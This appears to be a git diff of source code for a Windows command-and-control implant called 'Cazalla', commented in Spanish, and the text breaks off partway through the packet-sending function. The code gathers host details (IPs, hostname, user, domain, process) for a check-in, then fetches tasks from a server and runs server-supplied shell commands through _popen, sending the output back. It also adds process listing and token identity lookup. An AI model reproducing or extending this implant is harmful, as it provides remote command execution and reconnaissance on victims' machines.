PCHAR obtenerHostame() {
|
||||
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* hostnameRep = "N/A";
|
||||
|
||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
||||
{
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
||||
{
|
||||
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||
hostnameRep = datos;
|
||||
}
|
||||
}
|
||||
return (char*)hostnameRep;
|
||||
}
|
||||
|
||||
// Obtener el usuario
|
||||
char* obtenerUsuarios() {
|
||||
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* usuario = "N/A";
|
||||
|
||||
if (!GetUserNameA(NULL, &dataLen)) {
|
||||
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||
|
||||
GetUserNameA(datos, &dataLen);
|
||||
usuario = datos;
|
||||
}
|
||||
}
|
||||
return (char*)usuario;
|
||||
}
|
||||
|
||||
// Obtener el dominio
|
||||
LPWSTR obtenerDominio() {
|
||||
|
||||
DWORD dwLevel = 102;
|
||||
LPWKSTA_INFO_102 pBuf = NULL;
|
||||
PWCHAR dominio = NULL;
|
||||
NET_API_STATUS nStatus;
|
||||
LPWSTR pszServerName = NULL;
|
||||
|
||||
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||
if (nStatus == NERR_Success) {
|
||||
|
||||
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||
}
|
||||
|
||||
if (pBuf != NULL) {
|
||||
|
||||
NetApiBufferFree(pBuf);
|
||||
}
|
||||
|
||||
return dominio;
|
||||
}
|
||||
|
||||
char* getOsName() {
|
||||
|
||||
return (PCHAR)"Windows";
|
||||
}
|
||||
|
||||
// Obtener el nombre del proceso actual
|
||||
char* obtenerNombreProceso() {
|
||||
|
||||
char* nombreProceso = NULL;
|
||||
HANDLE handle = GetCurrentProcess();
|
||||
if (handle) {
|
||||
|
||||
DWORD buffSize = 1024;
|
||||
CHAR buffer[1024];
|
||||
|
||||
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||
|
||||
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||
memcpy(nombreProceso, buffer, buffSize);
|
||||
}
|
||||
CloseHandle(handle);
|
||||
}
|
||||
return nombreProceso;
|
||||
}
|
||||
|
||||
|
||||
PAnalizador checkin() {
|
||||
|
||||
UINT32 numeroDeIPs = 0;
|
||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||
if (!checkin) {
|
||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||
return NULL;
|
||||
}
|
||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||
|
||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||
addInt32(checkin, numeroDeIPs);
|
||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||
addInt32(checkin, tableOfIPs[i]);
|
||||
}
|
||||
|
||||
addString(checkin, getOsName(), TRUE);
|
||||
addByte(checkin, obtenerArquitectura());
|
||||
addString(checkin, obtenerHostame(), TRUE);
|
||||
addString(checkin, obtenerUsuarios(), TRUE);
|
||||
addWString(checkin, obtenerDominio(), TRUE);
|
||||
addInt32(checkin, GetCurrentProcessId());
|
||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||
|
||||
|
||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||
|
||||
liberarPaquete(checkin);
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
||||
return NULL;
|
||||
|
||||
}
|
||||
return respuestaAnalizador;
|
||||
#include "checkin.h"
|
||||
#include "cazalla.h"
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#include <iphlpapi.h>
|
||||
|
||||
// Obtener Direcciones IPs.
|
||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||
|
||||
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwRetVal = 0;
|
||||
IN_ADDR IPAddr;
|
||||
LPVOID lpMsgBuf;
|
||||
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||
if (pTablaDireccionesIP) {
|
||||
|
||||
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
else {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||
|
||||
return NULL;
|
||||
|
||||
}
|
||||
else {
|
||||
|
||||
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||
}
|
||||
|
||||
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||
|
||||
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||
|
||||
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||
}
|
||||
|
||||
if (pTablaDireccionesIP) {
|
||||
|
||||
LocalFree(pTablaDireccionesIP);
|
||||
}
|
||||
|
||||
return tableOfIPs;
|
||||
}
|
||||
|
||||
|
||||
// Obtener la arquitectura
|
||||
BYTE obtenerArquitectura() {
|
||||
|
||||
SYSTEM_INFO informacionDelSistema;
|
||||
|
||||
GetNativeSystemInfo(&informacionDelSistema);
|
||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||
return 0x64;
|
||||
}
|
||||
|
||||
return 0x86;
|
||||
}
|
||||
|
||||
// Obtener el Hostname
|
||||
PCHAR obtenerHostame() {
|
||||
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* hostnameRep = "N/A";
|
||||
|
||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
||||
{
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
||||
{
|
||||
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||
hostnameRep = datos;
|
||||
}
|
||||
}
|
||||
return (char*)hostnameRep;
|
||||
}
|
||||
|
||||
// Obtener el usuario
|
||||
char* obtenerUsuarios() {
|
||||
|
||||
LPSTR datos = NULL;
|
||||
DWORD dataLen = 0;
|
||||
const char* usuario = "N/A";
|
||||
|
||||
if (!GetUserNameA(NULL, &dataLen)) {
|
||||
|
||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||
|
||||
GetUserNameA(datos, &dataLen);
|
||||
usuario = datos;
|
||||
}
|
||||
}
|
||||
return (char*)usuario;
|
||||
}
|
||||
|
||||
// Obtener el dominio
|
||||
LPWSTR obtenerDominio() {
|
||||
|
||||
DWORD dwLevel = 102;
|
||||
LPWKSTA_INFO_102 pBuf = NULL;
|
||||
PWCHAR dominio = NULL;
|
||||
NET_API_STATUS nStatus;
|
||||
LPWSTR pszServerName = NULL;
|
||||
|
||||
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||
if (nStatus == NERR_Success) {
|
||||
|
||||
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||
}
|
||||
|
||||
if (pBuf != NULL) {
|
||||
|
||||
NetApiBufferFree(pBuf);
|
||||
}
|
||||
|
||||
return dominio;
|
||||
}
|
||||
|
||||
char* getOsName() {
|
||||
|
||||
return (PCHAR)"Windows";
|
||||
}
|
||||
|
||||
// Obtener el nombre del proceso actual
|
||||
char* obtenerNombreProceso() {
|
||||
|
||||
char* nombreProceso = NULL;
|
||||
HANDLE handle = GetCurrentProcess();
|
||||
if (handle) {
|
||||
|
||||
DWORD buffSize = 1024;
|
||||
CHAR buffer[1024];
|
||||
|
||||
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||
|
||||
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||
memcpy(nombreProceso, buffer, buffSize);
|
||||
}
|
||||
CloseHandle(handle);
|
||||
}
|
||||
return nombreProceso;
|
||||
}
|
||||
|
||||
|
||||
PAnalizador checkin() {
|
||||
|
||||
UINT32 numeroDeIPs = 0;
|
||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||
if (!checkin) {
|
||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||
return NULL;
|
||||
}
|
||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||
|
||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||
addInt32(checkin, numeroDeIPs);
|
||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||
addInt32(checkin, tableOfIPs[i]);
|
||||
}
|
||||
|
||||
addString(checkin, getOsName(), TRUE);
|
||||
addByte(checkin, obtenerArquitectura());
|
||||
addString(checkin, obtenerHostame(), TRUE);
|
||||
addString(checkin, obtenerUsuarios(), TRUE);
|
||||
addWString(checkin, obtenerDominio(), TRUE);
|
||||
addInt32(checkin, GetCurrentProcessId());
|
||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||
|
||||
|
||||
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||
|
||||
liberarPaquete(checkin);
|
||||
|
||||
if (!respuestaAnalizador) {
|
||||
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
||||
return NULL;
|
||||
|
||||
}
|
||||
return respuestaAnalizador;
|
||||
}
|
||||
@@ -1,17 +1,17 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef CHECKIN_H
|
||||
#define CHECKIN_H
|
||||
#include <windows.h>
|
||||
#include <lm.h>
|
||||
#include <lmwksta.h>
|
||||
#include "paquete.h"
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
PAnalizador checkin();
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef CHECKIN_H
|
||||
#define CHECKIN_H
|
||||
#include <windows.h>
|
||||
#include <lm.h>
|
||||
#include <lmwksta.h>
|
||||
#include "paquete.h"
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
PAnalizador checkin();
|
||||
|
||||
#endif
|
||||
@@ -1,80 +1,83 @@
|
||||
#include "cazalla.h"
|
||||
#include "comandos.h"
|
||||
|
||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
|
||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||
if (numeroTareas) {
|
||||
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||
}
|
||||
|
||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||
BYTE tarea = getByte(obtenerTarea);
|
||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||
|
||||
if (tarea == SHELL_CMD)
|
||||
{
|
||||
ejecutarConsola(analizadorTarea);
|
||||
}
|
||||
else if (tarea == EXIT_CMD) {
|
||||
cerrarCallback(analizadorTarea);
|
||||
}else if(tarea == SLEEP_CMD){
|
||||
sleep(analizadorTarea);
|
||||
}
|
||||
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL commandDispatch(PAnalizador respuesta) {
|
||||
|
||||
BYTE tipoRespuesta = getByte(respuesta);
|
||||
if (tipoRespuesta == GET_TASKING) {
|
||||
return handleGetTasking(respuesta);
|
||||
}
|
||||
else if (tipoRespuesta == POST_RESPONSE) {
|
||||
return TRUE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||
|
||||
if (getByte(respuestaAnalizador) != CHECKIN) {
|
||||
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||
setUUID(nuevoUuid);
|
||||
|
||||
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL rutina() {
|
||||
|
||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||
|
||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||
// sin respuesta
|
||||
if (!respuestaAnalizador) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
commandDispatch(respuestaAnalizador);
|
||||
|
||||
// Sleep
|
||||
Sleep(cazallaConfig->tiempoSleep);
|
||||
|
||||
return TRUE;
|
||||
|
||||
#include "cazalla.h"
|
||||
#include "comandos.h"
|
||||
|
||||
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
|
||||
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||
if (numeroTareas) {
|
||||
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||
}
|
||||
|
||||
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||
BYTE tarea = getByte(obtenerTarea);
|
||||
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
|
||||
|
||||
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||
|
||||
if (tarea == SHELL_CMD)
|
||||
{
|
||||
ejecutarConsola(analizadorTarea);
|
||||
}
|
||||
else if (tarea == EXIT_CMD) {
|
||||
cerrarCallback(analizadorTarea);
|
||||
}else if(tarea == SLEEP_CMD){
|
||||
sleep(analizadorTarea);
|
||||
}else if(tarea == PROCESS_CMD){
|
||||
listarProcesos(analizadorTarea);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL commandDispatch(PAnalizador respuesta) {
|
||||
|
||||
BYTE tipoRespuesta = getByte(respuesta);
|
||||
if (tipoRespuesta == GET_TASKING) {
|
||||
return handleGetTasking(respuesta);
|
||||
}
|
||||
else if (tipoRespuesta == POST_RESPONSE) {
|
||||
return TRUE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||
|
||||
if (getByte(respuestaAnalizador) != CHECKIN) {
|
||||
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||
setUUID(nuevoUuid);
|
||||
|
||||
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||
|
||||
liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL rutina() {
|
||||
|
||||
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||
|
||||
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||
// sin respuesta
|
||||
if (!respuestaAnalizador) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
commandDispatch(respuestaAnalizador);
|
||||
|
||||
// Sleep
|
||||
Sleep(cazallaConfig->tiempoSleep);
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
@@ -1,26 +1,27 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef COMMANDOS
|
||||
#define COMMANDOS
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
#include "consola.h"
|
||||
#include "cerrarCallback.h"
|
||||
#include "sleep.h"
|
||||
|
||||
#define SHELL_CMD 0x54
|
||||
#define GET_TASKING 0x00
|
||||
#define POST_RESPONSE 0x01
|
||||
#define CHECKIN 0xf1
|
||||
|
||||
#define NUMBER_OF_TASKS 1
|
||||
|
||||
#define EXIT_CMD 0x80
|
||||
#define SLEEP_CMD 0x38
|
||||
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||
BOOL rutina();
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef COMMANDOS
|
||||
#define COMMANDOS
|
||||
|
||||
#include "analizador.h"
|
||||
#include "paquete.h"
|
||||
#include "consola.h"
|
||||
#include "cerrarCallback.h"
|
||||
#include "sleep.h"
|
||||
#include "procesos.h"
|
||||
|
||||
#define SHELL_CMD 0x54
|
||||
#define GET_TASKING 0x00
|
||||
#define POST_RESPONSE 0x01
|
||||
#define CHECKIN 0xf1
|
||||
|
||||
#define NUMBER_OF_TASKS 1
|
||||
|
||||
#define EXIT_CMD 0x80
|
||||
#define SLEEP_CMD 0x38
|
||||
#define PROCESS_CMD 0x15
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||
BOOL rutina();
|
||||
|
||||
#endif
|
||||
@@ -1,38 +1,38 @@
|
||||
#include "consola.h"
|
||||
|
||||
BOOL ejecutarConsola(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR comando = getString(argumentos, &tamano);
|
||||
|
||||
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
|
||||
FILE* fp;
|
||||
CHAR ruta[1035];
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
|
||||
//paquete temporal para la salida
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
fp = _popen(comando, "rb");
|
||||
if (!fp) {
|
||||
_err("[Consola] Error ejecutando el comando");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
|
||||
addString(salida, ruta, FALSE);
|
||||
}
|
||||
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
_pclose(fp);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
#include "consola.h"
|
||||
|
||||
BOOL ejecutarConsola(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR comando = getString(argumentos, &tamano);
|
||||
|
||||
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
|
||||
FILE* fp;
|
||||
CHAR ruta[1035];
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
|
||||
//paquete temporal para la salida
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
fp = _popen(comando, "rb");
|
||||
if (!fp) {
|
||||
_err("[Consola] Error ejecutando el comando");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
|
||||
addString(salida, ruta, FALSE);
|
||||
}
|
||||
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
_pclose(fp);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
|
||||
BOOL ejecutarConsola(PAnalizador argumentos);
|
||||
@@ -1,42 +1,42 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#if defined(_DEBUG)
|
||||
|
||||
|
||||
#define DBG "DBG"
|
||||
#define ERR "ERR"
|
||||
#define WRN "WRN"
|
||||
#define INF "INF"
|
||||
|
||||
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
|
||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||
#elif defined(_DEBUG_RELEASE)
|
||||
#define DBG
|
||||
#define ERR
|
||||
#define WRN
|
||||
#define INF
|
||||
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
|
||||
CHAR out[200] = { 0 };\
|
||||
sprintf(out, format"\n", ## __VA_ARGS__);\
|
||||
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
|
||||
CloseHandle(debugFile);}
|
||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||
#else
|
||||
#define DBG
|
||||
#define ERR
|
||||
#define WRN
|
||||
#define INF
|
||||
#define _log(level, format, ...)
|
||||
#define _dbg(format, ...)
|
||||
#define _err(format, ...)
|
||||
#define _wrn(format, ...)
|
||||
#define _inf(format, ...)
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#if defined(_DEBUG)
|
||||
|
||||
|
||||
#define DBG "DBG"
|
||||
#define ERR "ERR"
|
||||
#define WRN "WRN"
|
||||
#define INF "INF"
|
||||
|
||||
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
|
||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||
#elif defined(_DEBUG_RELEASE)
|
||||
#define DBG
|
||||
#define ERR
|
||||
#define WRN
|
||||
#define INF
|
||||
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
|
||||
CHAR out[200] = { 0 };\
|
||||
sprintf(out, format"\n", ## __VA_ARGS__);\
|
||||
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
|
||||
CloseHandle(debugFile);}
|
||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||
#else
|
||||
#define DBG
|
||||
#define ERR
|
||||
#define WRN
|
||||
#define INF
|
||||
#define _log(level, format, ...)
|
||||
#define _dbg(format, ...)
|
||||
#define _err(format, ...)
|
||||
#define _wrn(format, ...)
|
||||
#define _inf(format, ...)
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
#include "identity.h"
|
||||
|
||||
|
||||
|
||||
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
|
||||
|
||||
TOKEN_USER informacionToken[0x1000];
|
||||
SID_NAME_USE tipoSid;
|
||||
DWORD tamanoRespuesta;
|
||||
|
||||
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CHAR nombre[0x200] = { 0 };
|
||||
CHAR dominio[0x200] = { 0 };
|
||||
|
||||
DWORD tamanoNombre = sizeof(nombre);
|
||||
DWORD tamanoDominio = sizeof(dominio);
|
||||
|
||||
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
|
||||
buffer[tamano - 1] = 0;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
#ifndef IDENTITY_H
|
||||
#define IDENTITY_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
extern HANDLE gTokenIdentidad;
|
||||
extern BOOL gIdentidadIsLoggin;
|
||||
extern WCHAR* gDominioIdentidad;
|
||||
// extern WCHAR* gIdentityUsername;
|
||||
// extern WCHAR* gIdentityPassword;
|
||||
|
||||
#define IDENTITY_MAX_WCHARS_DOMAIN 256
|
||||
#define IDENTITY_MAX_WCHARS_USERNAME 256
|
||||
#define IDENTITY_MAX_WCHARS_PASSWORD 512
|
||||
|
||||
//VOID IdentityImpersonateToken(void);
|
||||
//VOID IdentityAgentRevertToken(void);
|
||||
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
|
||||
//BOOL IdentityIsAdmin(void);
|
||||
|
||||
#endif //IDENTITY_H
|
||||
@@ -1,12 +1,12 @@
|
||||
#include "cazalla.h"
|
||||
|
||||
//#ifdef _DEBUG
|
||||
//int main()
|
||||
//#else
|
||||
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||
//#endif
|
||||
{
|
||||
cazallaMain();
|
||||
|
||||
return 0;
|
||||
#include "cazalla.h"
|
||||
|
||||
//#ifdef _DEBUG
|
||||
//int main()
|
||||
//#else
|
||||
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
|
||||
//#endif
|
||||
{
|
||||
cazallaMain();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -1,122 +1,152 @@
|
||||
#include "cazalla.h"
|
||||
#include "paquete.h"
|
||||
|
||||
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||
//v2 change to syscalls
|
||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||
if (!paquete) {
|
||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||
return NULL;
|
||||
}
|
||||
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
|
||||
if (!paquete->buffer) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
paquete->length = 0;
|
||||
if (init) {
|
||||
addString(paquete, cazallaConfig->idAgente, FALSE);
|
||||
addByte(paquete, idComando);
|
||||
}
|
||||
|
||||
return paquete;
|
||||
}
|
||||
|
||||
VOID liberarPaquete(PPaquete paquete) {
|
||||
|
||||
LocalFree(paquete->buffer);
|
||||
LocalFree(paquete);
|
||||
|
||||
}
|
||||
|
||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
|
||||
|
||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
|
||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
|
||||
|
||||
